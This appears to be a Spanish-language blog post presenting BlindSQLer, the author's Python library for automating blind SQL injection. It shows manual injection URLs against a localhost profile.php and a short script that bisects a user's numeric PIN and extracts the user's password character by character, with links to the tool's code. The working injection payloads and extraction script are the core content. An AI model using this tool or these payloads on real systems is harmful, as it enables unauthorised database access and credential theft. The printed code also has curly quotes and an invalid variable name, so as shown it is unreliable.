Tener una vulnerabilidad de Blind SQL Injection en un sitio o aplicación es algo bastante grave, y su explotación puede traer severas consecuencias. Esta vulnerabilidad se caracteriza por tener un resultado binario, es decir, verdadero o falso. Si queremos averiguar el valor de algún número grande o de una cadena de texto necesitaremos hacer una gran cantidad de peticiones al servidor, y realizar esto manualmente puede resultar bastante tedioso.
Las herramientas que automatizan el proceso no me convencieron para nada: hacen todo automático prácticamente sin intervención del usuario, y suelen fallar repetidamente. Es por esto que desarrollé una herramienta extremadamente sencilla pero bastante útil: BlinsSQLer permite, programando un poco de Python, adivinar el valor de una expresión SQL, aprovechando la vulnerabilidad Blind SQL Injection.
Supongamos que la vulnerabilidad esta presente en http://localhost/profile.php?uid=XXX. Cada usuario tiene un nombre, un pin (número) y un password. Supongamos que queremos averiguar el pin del usuario con uid 5, tendríamos que hacer un montón de consultas:
http://localhost/profile.php?uid=5 and pin>5000
http://localhost/profile.php?uid=5 and pin>2500
http://localhost/profile.php?uid=5 and pin>3250
…
Y ni hablar de hacerlo para cadenas de texto, ya que esto hay que hacerlo para cada caracter.
A continuación muestro la forma de hacerlo con BlindSQLer, programando unas pocas líneas de código y usando la librería:
import blindsqler from urllib import urlopen, urlencode class Localhost(blindsqler.QueryHandler): «»» El manejador de querys de un server de prueba «»» def __init__(self, uid, field): self.uid = uid # El ID del usuario self.field = field # El campo cuyo valor se quiere adivinar def query(self, data): url = «http://localhost/profile.php» q = «%s AND %s %s» % (self.uid, self.field, data) url = url + ‘?’ + urlencode(dict(id=q)) pag = urlopen(url).read() if «No hay resultados» in pag: return False else: return True- localhost_pin = Localhost(5,’pin’) # El campo pin del usuario con UID 5
pin = blindsqler.adivinaint(localhost_pin, [0,65535]) # Suponiendo que el valor máximo del pin sea 65535 localhost_pass = Localhost(5,’password’) # El campo password del usuario con UID 5 pass = blindsqler.adivinastr(localhost_pass, length=30, mssql=False) # La máxima longitud sería 30, y le decimos que no usamos Microft SQL Server. Estos argumentos son opcionales
Script en pastebin: http://pastebin.com/G7FDDN3Z#
Como vemos, es necesario programar un poco para hacerlo funcionar, y es necesario hacerlo en Python. Igualmente considero esto más sencillo que probar a mano o que usar herramientas tipo SQLMap que pretenden hacer todo el trabajo.
Descarga: https://github.com/sh4r3m4n/blindsqler
Espero que les haya sido útil y que les traiga buenos resultados. Saludos!